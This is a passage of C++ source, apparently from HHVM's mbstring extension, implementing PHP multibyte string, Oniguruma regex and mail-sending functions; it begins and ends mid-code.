(!encoding.empty()) { string.no_encoding = mbfl_name2no_encoding(encoding.data()); if (string.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", encoding.data()); return false; } } int n = mbfl_strwidth(&string); if (n >= 0) { return n; } return false; } Variant HHVM_FUNCTION(mb_substitute_character, const Variant& substrchar /* = uninit_variant */) { if (substrchar.isNull()) { switch (MBSTRG(current_filter_illegal_mode)) { case MBFL_OUTPUTFILTER_ILLEGAL_MODE_NONE: return "none"; case MBFL_OUTPUTFILTER_ILLEGAL_MODE_LONG: return "long"; case MBFL_OUTPUTFILTER_ILLEGAL_MODE_ENTITY: return "entity"; default: return MBSTRG(current_filter_illegal_substchar); } } if (substrchar.isString()) { String s = substrchar.toString(); if (strcasecmp("none", s.data()) == 0) { MBSTRG(current_filter_illegal_mode) = MBFL_OUTPUTFILTER_ILLEGAL_MODE_NONE; return true; } if (strcasecmp("long", s.data()) == 0) { MBSTRG(current_filter_illegal_mode) = MBFL_OUTPUTFILTER_ILLEGAL_MODE_LONG; return true; } if (strcasecmp("entity", s.data()) == 0) { MBSTRG(current_filter_illegal_mode) = MBFL_OUTPUTFILTER_ILLEGAL_MODE_ENTITY; return true; } } int64_t n = substrchar.toInt64(); if (n < 0xffff && n > 0) { MBSTRG(current_filter_illegal_mode) = MBFL_OUTPUTFILTER_ILLEGAL_MODE_CHAR; MBSTRG(current_filter_illegal_substchar) = n; } else { raise_warning("Unknown character."); return false; } return true; } Variant HHVM_FUNCTION(mb_substr_count, const String& haystack, const String& needle, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); mbfl_string mbs_haystack; mbfl_string_init(&mbs_haystack); mbs_haystack.no_language = MBSTRG(current_language); mbs_haystack.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_haystack.val = (unsigned char *)haystack.data(); mbs_haystack.len = haystack.size(); mbfl_string mbs_needle; mbfl_string_init(&mbs_needle); mbs_needle.no_language = MBSTRG(current_language); mbs_needle.no_encoding = MBSTRG(current_internal_encoding)->no_encoding; mbs_needle.val = (unsigned char *)needle.data(); mbs_needle.len = needle.size(); if (!encoding.empty()) { mbs_haystack.no_encoding = mbs_needle.no_encoding = mbfl_name2no_encoding(encoding.data()); if (mbs_haystack.no_encoding == mbfl_no_encoding_invalid) { raise_warning("Unknown encoding \"%s\"", encoding.data()); return false; } } if (mbs_needle.len <= 0) { raise_warning("Empty substring."); return false; } int n = mbfl_substr_count(&mbs_haystack, &mbs_needle); if (n >= 0) { return n; } return false; } /////////////////////////////////////////////////////////////////////////////// // regex helpers typedef struct _php_mb_regex_enc_name_map_t { const char *names; OnigEncoding code; } php_mb_regex_enc_name_map_t; static php_mb_regex_enc_name_map_t enc_name_map[] ={ { "EUC-JP\0EUCJP\0X-EUC-JP\0UJIS\0EUCJP\0EUCJP-WIN\0", ONIG_ENCODING_EUC_JP }, { "UTF-8\0UTF8\0", ONIG_ENCODING_UTF8 }, { "UTF-16\0UTF-16BE\0", ONIG_ENCODING_UTF16_BE }, { "UTF-16LE\0", ONIG_ENCODING_UTF16_LE }, { "UCS-4\0UTF-32\0UTF-32BE\0", ONIG_ENCODING_UTF32_BE }, { "UCS-4LE\0UTF-32LE\0", ONIG_ENCODING_UTF32_LE }, { "SJIS\0CP932\0MS932\0SHIFT_JIS\0SJIS-WIN\0WINDOWS-31J\0", ONIG_ENCODING_SJIS }, { "BIG5\0BIG-5\0BIGFIVE\0CN-BIG5\0BIG-FIVE\0", ONIG_ENCODING_BIG5 }, { "EUC-CN\0EUCCN\0EUC_CN\0GB-2312\0GB2312\0", ONIG_ENCODING_EUC_CN }, { "EUC-TW\0EUCTW\0EUC_TW\0", ONIG_ENCODING_EUC_TW }, { "EUC-KR\0EUCKR\0EUC_KR\0", ONIG_ENCODING_EUC_KR }, { "KOI8R\0KOI8-R\0KOI-8R\0", ONIG_ENCODING_KOI8_R }, { "ISO-8859-1\0ISO8859-1\0ISO_8859_1\0ISO8859_1\0", ONIG_ENCODING_ISO_8859_1 }, { "ISO-8859-2\0ISO8859-2\0ISO_8859_2\0ISO8859_2\0", ONIG_ENCODING_ISO_8859_2 }, { "ISO-8859-3\0ISO8859-3\0ISO_8859_3\0ISO8859_3\0", ONIG_ENCODING_ISO_8859_3 }, { "ISO-8859-4\0ISO8859-4\0ISO_8859_4\0ISO8859_4\0", ONIG_ENCODING_ISO_8859_4 }, { "ISO-8859-5\0ISO8859-5\0ISO_8859_5\0ISO8859_5\0", ONIG_ENCODING_ISO_8859_5 }, { "ISO-8859-6\0ISO8859-6\0ISO_8859_6\0ISO8859_6\0", ONIG_ENCODING_ISO_8859_6 }, { "ISO-8859-7\0ISO8859-7\0ISO_8859_7\0ISO8859_7\0", ONIG_ENCODING_ISO_8859_7 }, { "ISO-8859-8\0ISO8859-8\0ISO_8859_8\0ISO8859_8\0", ONIG_ENCODING_ISO_8859_8 }, { "ISO-8859-9\0ISO8859-9\0ISO_8859_9\0ISO8859_9\0", ONIG_ENCODING_ISO_8859_9 }, { "ISO-8859-10\0ISO8859-10\0ISO_8859_10\0ISO8859_10\0", ONIG_ENCODING_ISO_8859_10 }, { "ISO-8859-11\0ISO8859-11\0ISO_8859_11\0ISO8859_11\0", ONIG_ENCODING_ISO_8859_11 }, { "ISO-8859-13\0ISO8859-13\0ISO_8859_13\0ISO8859_13\0", ONIG_ENCODING_ISO_8859_13 }, { "ISO-8859-14\0ISO8859-14\0ISO_8859_14\0ISO8859_14\0", ONIG_ENCODING_ISO_8859_14 }, { "ISO-8859-15\0ISO8859-15\0ISO_8859_15\0ISO8859_15\0", ONIG_ENCODING_ISO_8859_15 }, { "ISO-8859-16\0ISO8859-16\0ISO_8859_16\0ISO8859_16\0", ONIG_ENCODING_ISO_8859_16 }, { "ASCII\0US-ASCII\0US_ASCII\0ISO646\0", ONIG_ENCODING_ASCII }, { nullptr, ONIG_ENCODING_UNDEF } }; static OnigEncoding php_mb_regex_name2mbctype(const char *pname) { const char *p; php_mb_regex_enc_name_map_t *mapping; if (pname == nullptr) { return ONIG_ENCODING_UNDEF; } for (mapping = enc_name_map; mapping->names != nullptr; mapping++) { for (p = mapping->names; *p != '\0'; p += (strlen(p) + 1)) { if (strcasecmp(p, pname) == 0) { return mapping->code; } } } return ONIG_ENCODING_UNDEF; } static const char *php_mb_regex_mbctype2name(OnigEncoding mbctype) { php_mb_regex_enc_name_map_t *mapping; for (mapping = enc_name_map; mapping->names != nullptr; mapping++) { if (mapping->code == mbctype) { return mapping->names; } } return nullptr; } /* * regex cache */ static php_mb_regex_t *php_mbregex_compile_pattern(const String& pattern, OnigOptionType options, OnigEncoding enc, OnigSyntaxType *syntax) { int err_code = 0; OnigErrorInfo err_info; OnigUChar err_str[ONIG_MAX_ERROR_MESSAGE_LEN]; php_mb_regex_t *rc = nullptr; std::string spattern = std::string(pattern.data(), pattern.size()); RegexCache &cache = MBSTRG(ht_rc); RegexCache::const_iterator it = cache.find(spattern); if (it != cache.end()) { rc = it->second; } if (!rc || onig_get_options(rc) != options || onig_get_encoding(rc) != enc || onig_get_syntax(rc) != syntax) { if (rc) { onig_free(rc); rc = nullptr; } if ((err_code = onig_new(&rc, (OnigUChar *)pattern.data(), (OnigUChar *)(pattern.data() + pattern.size()), options,enc, syntax, &err_info)) != ONIG_NORMAL) { onig_error_code_to_str(err_str, err_code, err_info); raise_warning("mbregex compile err: %s", err_str); return nullptr; } MBSTRG(ht_rc)[spattern] = rc; } return rc; } static size_t _php_mb_regex_get_option_string(char *str, size_t len, OnigOptionType option, OnigSyntaxType *syntax) { size_t len_left = len; size_t len_req = 0; char *p = str; char c; if ((option & ONIG_OPTION_IGNORECASE) != 0) { if (len_left > 0) { --len_left; *(p++) = 'i'; } ++len_req; } if ((option & ONIG_OPTION_EXTEND) != 0) { if (len_left > 0) { --len_left; *(p++) = 'x'; } ++len_req; } if ((option & (ONIG_OPTION_MULTILINE | ONIG_OPTION_SINGLELINE)) == (ONIG_OPTION_MULTILINE | ONIG_OPTION_SINGLELINE)) { if (len_left > 0) { --len_left; *(p++) = 'p'; } ++len_req; } else { if ((option & ONIG_OPTION_MULTILINE) != 0) { if (len_left > 0) { --len_left; *(p++) = 'm'; } ++len_req; } if ((option & ONIG_OPTION_SINGLELINE) != 0) { if (len_left > 0) { --len_left; *(p++) = 's'; } ++len_req; } } if ((option & ONIG_OPTION_FIND_LONGEST) != 0) { if (len_left > 0) { --len_left; *(p++) = 'l'; } ++len_req; } if ((option & ONIG_OPTION_FIND_NOT_EMPTY) != 0) { if (len_left > 0) { --len_left; *(p++) = 'n'; } ++len_req; } c = 0; if (syntax == ONIG_SYNTAX_JAVA) { c = 'j'; } else if (syntax == ONIG_SYNTAX_GNU_REGEX) { c = 'u'; } else if (syntax == ONIG_SYNTAX_GREP) { c = 'g'; } else if (syntax == ONIG_SYNTAX_EMACS) { c = 'c'; } else if (syntax == ONIG_SYNTAX_RUBY) { c = 'r'; } else if (syntax == ONIG_SYNTAX_PERL) { c = 'z'; } else if (syntax == ONIG_SYNTAX_POSIX_BASIC) { c = 'b'; } else if (syntax == ONIG_SYNTAX_POSIX_EXTENDED) { c = 'd'; } if (c != 0) { if (len_left > 0) { --len_left; *(p++) = c; } ++len_req; } if (len_left > 0) { --len_left; *(p++) = '\0'; } ++len_req; if (len < len_req) { return len_req; } return 0; } static void _php_mb_regex_init_options(const char *parg, int narg, OnigOptionType *option, OnigSyntaxType **syntax, int *eval) { int n; char c; int optm = 0; *syntax = ONIG_SYNTAX_RUBY; if (parg != nullptr) { n = 0; while (n < narg) { c = parg[n++]; switch (c) { case 'i': optm |= ONIG_OPTION_IGNORECASE; break; case 'x': optm |= ONIG_OPTION_EXTEND; break; case 'm': optm |= ONIG_OPTION_MULTILINE; break; case 's': optm |= ONIG_OPTION_SINGLELINE; break; case 'p': optm |= ONIG_OPTION_MULTILINE | ONIG_OPTION_SINGLELINE; break; case 'l': optm |= ONIG_OPTION_FIND_LONGEST; break; case 'n': optm |= ONIG_OPTION_FIND_NOT_EMPTY; break; case 'j': *syntax = ONIG_SYNTAX_JAVA; break; case 'u': *syntax = ONIG_SYNTAX_GNU_REGEX; break; case 'g': *syntax = ONIG_SYNTAX_GREP; break; case 'c': *syntax = ONIG_SYNTAX_EMACS; break; case 'r': *syntax = ONIG_SYNTAX_RUBY; break; case 'z': *syntax = ONIG_SYNTAX_PERL; break; case 'b': *syntax = ONIG_SYNTAX_POSIX_BASIC; break; case 'd': *syntax = ONIG_SYNTAX_POSIX_EXTENDED; break; case 'e': if (eval != nullptr) *eval = 1; break; default: break; } } if (option != nullptr) *option|=optm; } } /////////////////////////////////////////////////////////////////////////////// // regex functions bool HHVM_FUNCTION(mb_ereg_match, const String& pattern, const String& str, const Variant& opt_option) { const String option = convertArg(opt_option); OnigSyntaxType *syntax; OnigOptionType noption = 0; if (!option.empty()) { _php_mb_regex_init_options(option.data(), option.size(), &noption, &syntax, nullptr); } else { noption |= MBSTRG(regex_default_options); syntax = MBSTRG(regex_default_syntax); } php_mb_regex_t *re; if ((re = php_mbregex_compile_pattern (pattern, noption, MBSTRG(current_mbctype), syntax)) == nullptr) { return false; } /* match */ int err = onig_match(re, (OnigUChar *)str.data(), (OnigUChar *)(str.data() + str.size()), (OnigUChar *)str.data(), nullptr, 0); return err >= 0; } static Variant _php_mb_regex_ereg_replace_exec(const Variant& pattern, const String& replacement, const String& str, const String& option, OnigOptionType options) { const char *p; php_mb_regex_t *re; OnigSyntaxType *syntax; OnigRegion *regs = nullptr; StringBuffer out_buf; int i, err, eval, n; OnigUChar *pos; OnigUChar *string_lim; char pat_buf[2]; const mbfl_encoding *enc; { const char *current_enc_name; current_enc_name = php_mb_regex_mbctype2name(MBSTRG(current_mbctype)); if (current_enc_name == nullptr || (enc = mbfl_name2encoding(current_enc_name)) == nullptr) { raise_warning("Unknown error"); return false; } } eval = 0; { if (!option.empty()) { _php_mb_regex_init_options(option.data(), option.size(), &options, &syntax, &eval); } else { options |= MBSTRG(regex_default_options); syntax = MBSTRG(regex_default_syntax); } } String spattern; if (pattern.isString()) { spattern = pattern.toString(); } else { /* FIXME: this code is not multibyte aware! */ pat_buf[0] = pattern.toByte(); pat_buf[1] = '\0'; spattern = String(pat_buf, 1, CopyString); } /* create regex pattern buffer */ re = php_mbregex_compile_pattern(spattern, options, MBSTRG(current_mbctype), syntax); if (re == nullptr) { return false; } if (eval) { throw_not_supported("ereg_replace", "dynamic coding"); } /* do the actual work */ err = 0; pos = (OnigUChar*)str.data(); string_lim = (OnigUChar*)(str.data() + str.size()); regs = onig_region_new(); while (err >= 0) { err = onig_search(re, (OnigUChar *)str.data(), (OnigUChar *)string_lim, pos, (OnigUChar *)string_lim, regs, 0); if (err <= -2) { OnigUChar err_str[ONIG_MAX_ERROR_MESSAGE_LEN]; onig_error_code_to_str(err_str, err); raise_warning("mbregex search failure: %s", err_str); break; } if (err >= 0) { #if moriyoshi_0 if (regs->beg[0] == regs->end[0]) { raise_warning("Empty regular expression"); break; } #endif /* copy the part of the string before the match */ out_buf.append((const char *)pos, (OnigUChar *)(str.data() + regs->beg[0]) - pos); /* copy replacement and backrefs */ i = 0; p = replacement.data(); while (i < replacement.size()) { int fwd = (int)php_mb_mbchar_bytes_ex(p, enc); n = -1; auto const remaining = replacement.size() - i; if (remaining >= 2 && fwd == 1 && p[0] == '\\' && p[1] >= '0' && p[1] <= '9') { n = p[1] - '0'; } if (n >= 0 && n < regs->num_regs) { if (regs->beg[n] >= 0 && regs->beg[n] < regs->end[n] && regs->end[n] <= str.size()) { out_buf.append(str.data() + regs->beg[n], regs->end[n] - regs->beg[n]); } p += 2; i += 2; } else if (remaining >= fwd) { out_buf.append(p, fwd); p += fwd; i += fwd; } else { raise_warning("Replacement ends with unterminated %s: 0x%hhx", enc->name, *p); break; } } n = regs->end[0]; if ((pos - (OnigUChar *)str.data()) < n) { pos = (OnigUChar *)(str.data() + n); } else { if (pos < string_lim) { out_buf.append((const char *)pos, 1); } pos++; } } else { /* nomatch */ /* stick that last bit of string on our output */ if (string_lim - pos > 0) { out_buf.append((const char *)pos, string_lim - pos); } } onig_region_free(regs, 0); } if (regs != nullptr) { onig_region_free(regs, 1); } if (err <= -2) { return false; } return out_buf.detach(); } Variant HHVM_FUNCTION(mb_ereg_replace, const Variant& pattern, const String& replacement, const String& str, const Variant& opt_option) { const String option = convertArg(opt_option); return _php_mb_regex_ereg_replace_exec(pattern, replacement, str, option, 0); } Variant HHVM_FUNCTION(mb_eregi_replace, const Variant& pattern, const String& replacement, const String& str, const Variant& opt_option) { const String option = convertArg(opt_option); return _php_mb_regex_ereg_replace_exec(pattern, replacement, str, option, ONIG_OPTION_IGNORECASE); } int64_t HHVM_FUNCTION(mb_ereg_search_getpos) { return MBSTRG(search_pos); } bool HHVM_FUNCTION(mb_ereg_search_setpos, int position) { if (position < 0 || position >= (int)MBSTRG(search_str).size()) { raise_warning("Position is out of range"); MBSTRG(search_pos) = 0; return false; } MBSTRG(search_pos) = position; return true; } Variant HHVM_FUNCTION(mb_ereg_search_getregs) { OnigRegion *search_regs = MBSTRG(search_regs); if (search_regs && !MBSTRG(search_str).empty()) { Array ret; OnigUChar *str = (OnigUChar *)MBSTRG(search_str).data(); int len = MBSTRG(search_str).size(); int n = search_regs->num_regs; for (int i = 0; i < n; i++) { int beg = search_regs->beg[i]; int end = search_regs->end[i]; if (beg >= 0 && beg <= end && end <= len) { ret.append(String((const char *)(str + beg), end - beg, CopyString)); } else { ret.append(false); } } return ret; } return false; } bool HHVM_FUNCTION(mb_ereg_search_init, const String& str, const Variant& opt_pattern, const Variant& opt_option) { const String pattern = convertArg(opt_pattern); const String option = convertArg(opt_option); OnigOptionType noption = MBSTRG(regex_default_options); OnigSyntaxType *syntax = MBSTRG(regex_default_syntax); if (!option.empty()) { noption = 0; _php_mb_regex_init_options(option.data(), option.size(), &noption, &syntax, nullptr); } if (!pattern.empty()) { if ((MBSTRG(search_re) = php_mbregex_compile_pattern (pattern, noption, MBSTRG(current_mbctype), syntax)) == nullptr) { return false; } } MBSTRG(search_str) = std::string(str.data(), str.size()); MBSTRG(search_pos) = 0; if (MBSTRG(search_regs) != nullptr) { onig_region_free(MBSTRG(search_regs), 1); MBSTRG(search_regs) = (OnigRegion *)nullptr; } return true; } /* regex search */ static Variant _php_mb_regex_ereg_search_exec(const String& pattern, const String& option, int mode) { int n, i, err, pos, len, beg, end; OnigUChar *str; OnigSyntaxType *syntax = MBSTRG(regex_default_syntax); OnigOptionType noption; noption = MBSTRG(regex_default_options); if (!option.empty()) { noption = 0; _php_mb_regex_init_options(option.data(), option.size(), &noption, &syntax, nullptr); } if (!pattern.empty()) { if ((MBSTRG(search_re) = php_mbregex_compile_pattern (pattern, noption, MBSTRG(current_mbctype), syntax)) == nullptr) { return false; } } pos = MBSTRG(search_pos); str = nullptr; len = 0; if (!MBSTRG(search_str).empty()) { str = (OnigUChar *)MBSTRG(search_str).data(); len = MBSTRG(search_str).size(); } if (MBSTRG(search_re) == nullptr) { raise_warning("No regex given"); return false; } if (str == nullptr) { raise_warning("No string given"); return false; } if (MBSTRG(search_regs)) { onig_region_free(MBSTRG(search_regs), 1); } MBSTRG(search_regs) = onig_region_new(); err = onig_search(MBSTRG(search_re), str, str + len, str + pos, str + len, MBSTRG(search_regs), 0); Variant ret; if (err == ONIG_MISMATCH) { MBSTRG(search_pos) = len; ret = false; } else if (err <= -2) { OnigUChar err_str[ONIG_MAX_ERROR_MESSAGE_LEN]; onig_error_code_to_str(err_str, err); raise_warning("mbregex search failure in mbregex_search(): %s", err_str); ret = false; } else { if (MBSTRG(search_regs)->beg[0] == MBSTRG(search_regs)->end[0]) { raise_warning("Empty regular expression"); } switch (mode) { case 1: { beg = MBSTRG(search_regs)->beg[0]; end = MBSTRG(search_regs)->end[0]; ret = make_packed_array(beg, end - beg); } break; case 2: n = MBSTRG(search_regs)->num_regs; ret = Variant(Array::Create()); for (i = 0; i < n; i++) { beg = MBSTRG(search_regs)->beg[i]; end = MBSTRG(search_regs)->end[i]; if (beg >= 0 && beg <= end && end <= len) { ret.toArrRef().append( String((const char *)(str + beg), end - beg, CopyString)); } else { ret.toArrRef().append(false); } } break; default: ret = true; break; } end = MBSTRG(search_regs)->end[0]; if (pos < end) { MBSTRG(search_pos) = end; } else { MBSTRG(search_pos) = pos + 1; } } if (err < 0) { onig_region_free(MBSTRG(search_regs), 1); MBSTRG(search_regs) = (OnigRegion *)nullptr; } return ret; } Variant HHVM_FUNCTION(mb_ereg_search, const Variant& opt_pattern, const Variant& opt_option) { const String pattern = convertArg(opt_pattern); const String option = convertArg(opt_option); return _php_mb_regex_ereg_search_exec(pattern, option, 0); } Variant HHVM_FUNCTION(mb_ereg_search_pos, const Variant& opt_pattern, const Variant& opt_option) { const String pattern = convertArg(opt_pattern); const String option = convertArg(opt_option); return _php_mb_regex_ereg_search_exec(pattern, option, 1); } Variant HHVM_FUNCTION(mb_ereg_search_regs, const Variant& opt_pattern, const Variant& opt_option) { const String pattern = convertArg(opt_pattern); const String option = convertArg(opt_option); return _php_mb_regex_ereg_search_exec(pattern, option, 2); } static Variant _php_mb_regex_ereg_exec(const Variant& pattern, const String& str, Variant *regs, int icase) { php_mb_regex_t *re; OnigRegion *regions = nullptr; int i, match_len, beg, end; OnigOptionType options; options = MBSTRG(regex_default_options); if (icase) { options |= ONIG_OPTION_IGNORECASE; } /* compile the regular expression from the supplied regex */ String spattern; if (!pattern.isString()) { /* we convert numbers to integers and treat them as a string */ if (pattern.is(KindOfDouble)) { spattern = String(pattern.toInt64()); /* get rid of decimal places */ } else { spattern = pattern.toString(); } } else { spattern = pattern.toString(); } re = php_mbregex_compile_pattern(spattern, options, MBSTRG(current_mbctype), MBSTRG(regex_default_syntax)); if (re == nullptr) { return false; } regions = onig_region_new(); /* actually execute the regular expression */ if (onig_search(re, (OnigUChar *)str.data(), (OnigUChar *)(str.data() + str.size()), (OnigUChar *)str.data(), (OnigUChar *)(str.data() + str.size()), regions, 0) < 0) { onig_region_free(regions, 1); return false; } const char *s = str.data(); int string_len = str.size(); match_len = regions->end[0] - regions->beg[0]; PackedArrayInit regsPai(regions->num_regs); for (i = 0; i < regions->num_regs; i++) { beg = regions->beg[i]; end = regions->end[i]; if (beg >= 0 && beg < end && end <= string_len) { regsPai.append(String(s + beg, end - beg, CopyString)); } else { regsPai.append(false); } } if (regs) *regs = regsPai.toArray(); if (match_len == 0) { match_len = 1; } if (regions != nullptr) { onig_region_free(regions, 1); } return match_len; } Variant HHVM_FUNCTION(mb_ereg, const Variant& pattern, const String& str, Variant& regs) { return _php_mb_regex_ereg_exec(pattern, str, &regs, 0); } Variant HHVM_FUNCTION(mb_eregi, const Variant& pattern, const String& str, Variant& regs) { return _php_mb_regex_ereg_exec(pattern, str, &regs, 1); } Variant HHVM_FUNCTION(mb_regex_encoding, const Variant& opt_encoding) { const String encoding = convertArg(opt_encoding); if (encoding.empty()) { const char *retval = php_mb_regex_mbctype2name(MBSTRG(current_mbctype)); if (retval != nullptr) { return String(retval, CopyString); } return false; } OnigEncoding mbctype = php_mb_regex_name2mbctype(encoding.data()); if (mbctype == ONIG_ENCODING_UNDEF) { raise_warning("Unknown encoding \"%s\"", encoding.data()); return false; } MBSTRG(current_mbctype) = mbctype; return true; } static void php_mb_regex_set_options(OnigOptionType options, OnigSyntaxType *syntax, OnigOptionType *prev_options, OnigSyntaxType **prev_syntax) { if (prev_options != nullptr) { *prev_options = MBSTRG(regex_default_options); } if (prev_syntax != nullptr) { *prev_syntax = MBSTRG(regex_default_syntax); } MBSTRG(regex_default_options) = options; MBSTRG(regex_default_syntax) = syntax; } String HHVM_FUNCTION(mb_regex_set_options, const Variant& opt_options) { const String options = convertArg(opt_options); OnigOptionType opt; OnigSyntaxType *syntax; char buf[16]; if (!options.empty()) { opt = 0; syntax = nullptr; _php_mb_regex_init_options(options.data(), options.size(), &opt, &syntax, nullptr); php_mb_regex_set_options(opt, syntax, nullptr, nullptr); } else { opt = MBSTRG(regex_default_options); syntax = MBSTRG(regex_default_syntax); } _php_mb_regex_get_option_string(buf, sizeof(buf), opt, syntax); return String(buf, CopyString); } Variant HHVM_FUNCTION(mb_split, const String& pattern, const String& str, int count /* = -1 */) { php_mb_regex_t *re; OnigRegion *regs = nullptr; int n, err; if (count == 0) { count = 1; } /* create regex pattern buffer */ if ((re = php_mbregex_compile_pattern(pattern, MBSTRG(regex_default_options), MBSTRG(current_mbctype), MBSTRG(regex_default_syntax))) == nullptr) { return false; } Array ret; OnigUChar *pos0 = (OnigUChar *)str.data(); OnigUChar *pos_end = (OnigUChar *)(str.data() + str.size()); OnigUChar *pos = pos0; err = 0; regs = onig_region_new(); /* churn through str, generating array entries as we go */ while ((--count != 0) && (err = onig_search(re, pos0, pos_end, pos, pos_end, regs, 0)) >= 0) { if (regs->beg[0] == regs->end[0]) { raise_warning("Empty regular expression"); break; } /* add it to the array */ if (regs->beg[0] < str.size() && regs->beg[0] >= (pos - pos0)) { ret.append(String((const char *)pos, ((OnigUChar *)(str.data() + regs->beg[0]) - pos), CopyString)); } else { err = -2; break; } /* point at our new starting point */ n = regs->end[0]; if ((pos - pos0) < n) { pos = pos0 + n; } if (count < 0) { count = 0; } onig_region_free(regs, 0); } onig_region_free(regs, 1); /* see if we encountered an error */ if (err <= -2) { OnigUChar err_str[ONIG_MAX_ERROR_MESSAGE_LEN]; onig_error_code_to_str(err_str, err); raise_warning("mbregex search failure in mbsplit(): %s", err_str); return false; } /* otherwise we just have one last element to add to the array */ n = pos_end - pos; if (n > 0) { ret.append(String((const char *)pos, n, CopyString)); } else { ret.append(""); } return ret; } /////////////////////////////////////////////////////////////////////////////// #define SKIP_LONG_HEADER_SEP_MBSTRING(str, pos) \ if (str[pos] == '\r' && str[pos + 1] == '\n' && \ (str[pos + 2] == ' ' || str[pos + 2] == '\t')) { \ pos += 2; \ while (str[pos + 1] == ' ' || str[pos + 1] == '\t') { \ pos++; \ } \ continue; \ } static int _php_mbstr_parse_mail_headers(Array &ht, const char *str, size_t str_len) { const char *ps; size_t icnt; int state = 0; int crlf_state = -1; StringBuffer token; String fld_name, fld_val; ps = str; icnt = str_len; /* * C o n t e n t - T y p e : t e x t / h t m l \r\n * ^ ^^^^^^^^^^^^^^^^^^^^^ ^^^ ^^^^^^^^^^^^^^^^^ ^^^^ * state 0 1 2 3 * * C o n t e n t - T y p e : t e x t / h t m l \r\n * ^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^ * crlf_state -1 0 1 -1 * */ while (icnt > 0) { switch (*ps) { case ':': if (crlf_state == 1) { token.append('\r'); } if (state == 0 || state == 1) { fld_name = token.detach(); state = 2; } else { token.append(*ps); } crlf_state = 0; break; case '\n': if (crlf_state == -1) { goto out; } crlf_state = -1; break; case '\r': if (crlf_state == 1) { token.append('\r'); } else { crlf_state = 1; } break; case ' ': case '\t': if (crlf_state == -1) { if (state == 3) { /* continuing from the previous line */ state = 4; } else { /* simply skipping this new line */ state = 5; } } else { if (crlf_state == 1) { token.append('\r'); } if (state == 1 || state == 3) { token.append(*ps); } } crlf_state = 0; break; default: switch (state) { case 0: token.clear(); state = 1; break; case 2: if (crlf_state != -1) { token.clear(); state = 3; break; } /* break is missing intentionally */ case 3: if (crlf_state == -1) { fld_val = token.detach(); if (!fld_name.empty() && !fld_val.empty()) { /* FIXME: some locale free implementation is * really required here,,, */ ht.set(HHVM_FN(strtoupper)(fld_name), fld_val); } state = 1; } break; case 4: token.append(' '); state = 3; break; } if (crlf_state == 1) { token.append('\r'); } token.append(*ps); crlf_state = 0; break; } ps++, icnt--; } out: if (state == 2) { token.clear(); state = 3; } if (state == 3) { fld_val = token.detach(); if (!fld_name.empty() && !fld_val.empty()) { /* FIXME: some locale free implementation is * really required here,,, */ ht.set(HHVM_FN(strtoupper)(fld_name), fld_val); } } return state; } static int php_mail(const char *to, const char *subject, const char *message, const char *headers, const char *extra_cmd) { const char *sendmail_path = "/usr/sbin/sendmail -t -i"; String sendmail_cmd = sendmail_path; if (extra_cmd != nullptr) { sendmail_cmd += " "; sendmail_cmd += extra_cmd; } /* Since popen() doesn't indicate if the internal fork() doesn't work * (e.g. the shell can't be executed) we explicitly set it to 0 to be * sure we don't catch any older errno value. */ errno = 0; FILE *sendmail = popen(sendmail_cmd.data(), "w"); if (sendmail == nullptr) { raise_warning("Could not execute mail delivery program '%s'", sendmail_path); return 0; } if (EACCES == errno) { raise_warning("Permission denied: unable to execute shell to run " "mail delivery binary '%s'", sendmail_path); pclose(sendmail); return 0; } fprintf(sendmail, "To: %s\n", to); fprintf(sendmail, "Subject: %s\n", subject); if (headers != nullptr) { fprintf(sendmail, "%s\n", headers); } fprintf(sendmail, "\n%s\n", message); int ret = pclose(sendmail); #if defined(EX_TEMPFAIL) if ((ret != EX_OK) && (ret != EX_TEMPFAIL)) return 0; #elif defined(EX_OK) if (ret != EX_OK) return 0; #else if (ret != 0) return 0; #endif return 1; } bool HHVM_FUNCTION(mb_send_mail, const String& to, const String& subject, const String& message, const Variant& opt_headers, const Variant& opt_extra_cmd) { const String headers = convertArg(opt_headers); const String extra_cmd = convertArg(opt_extra_cmd); /* initialize */ /* automatic allocateable buffer for additional header */ mbfl_memory_device device; mbfl_memory_device_init(&device, 0, 0); mbfl_string orig_str, conv_str; mbfl_string_init(&orig_str); mbfl_string_init(&conv_str); /* character-set, transfer-encoding */ mbfl_no_encoding tran_cs, /* transfar text charset */ head_enc, /* header transfar encoding */ body_enc; /* body transfar encoding */ tran_cs = mbfl_no_encoding_utf8; head_enc = mbfl_no_encoding_base64; body_enc = mbfl_no_encoding_base64; const mbfl_language *lang = mbfl_no2language(MBSTRG(current_language)); if (lang != nullptr) { tran_cs = lang->mail_charset; head_enc = lang->mail_header_encoding; body_enc = lang->mail_body_encoding; } Array ht_headers; if (!headers.empty()) { _php_mbstr_parse_mail_headers(ht_headers, headers.data(), headers.size()); } struct { unsigned int cnt_type:1; unsigned int cnt_trans_enc:1; } suppressed_hdrs = { 0, 0 }; static const StaticString s_CONTENT_TYPE("CONTENT-TYPE"); String s = ht_headers[s_CONTENT_TYPE].toString(); if (!s.isNull()) { char *tmp; char *param_name; char *charset = nullptr; char *p = const_cast<char*>(strchr(s.data(), ';')); if (p != nullptr) { /* skipping the padded spaces */ do { ++p; } while (*p == ' ' || *p == '\t'); if (*p != '\0') { if ((param_name = strtok_r(p, "= ", &tmp)) != nullptr) { if (strcasecmp(param_name, "charset") == 0) { mbfl_no_encoding _tran_cs = tran_cs; charset = strtok_r(nullptr, "= ", &tmp); if (charset != nullptr) { _tran_cs = mbfl_name2no_encoding(charset); } if (_tran_cs == mbfl_no_encoding_invalid) { raise_warning("Unsupported charset \"%s\" - " "will be regarded as ascii", charset); _tran_cs = mbfl_no_encoding_ascii; } tran_cs = _tran_cs; } } } } suppressed_hdrs.cnt_type = 1; } static const StaticString s_CONTENT_TRANSFER_ENCODING("CONTENT-TRANSFER-ENCODING"); s = ht_headers[s_CONTENT_TRANSFER_ENCODING].toString(); if (!s.isNull()) { mbfl_no_encoding _body_enc = mbfl_name2no_encoding(s.data()); switch (_body_enc) { case mbfl_no_encoding_base64: case mbfl_no_encoding_7bit: case mbfl_no_encoding_8bit: body_enc = _body_enc; break; default: raise_warning("Unsupported transfer encoding \"%s\" - " "will be regarded as 8bit", s.data()); body_enc = mbfl_no_encoding_8bit; break; } suppressed_hdrs.cnt_trans_enc = 1; } /* To: */ char *to_r = nullptr; int err = 0; if (auto to_len = strlen(to.data())) { // not to.size() to_r = req::strndup(to.data(), to_len); for (; to_len; to_len--) { if (!isspace((unsigned 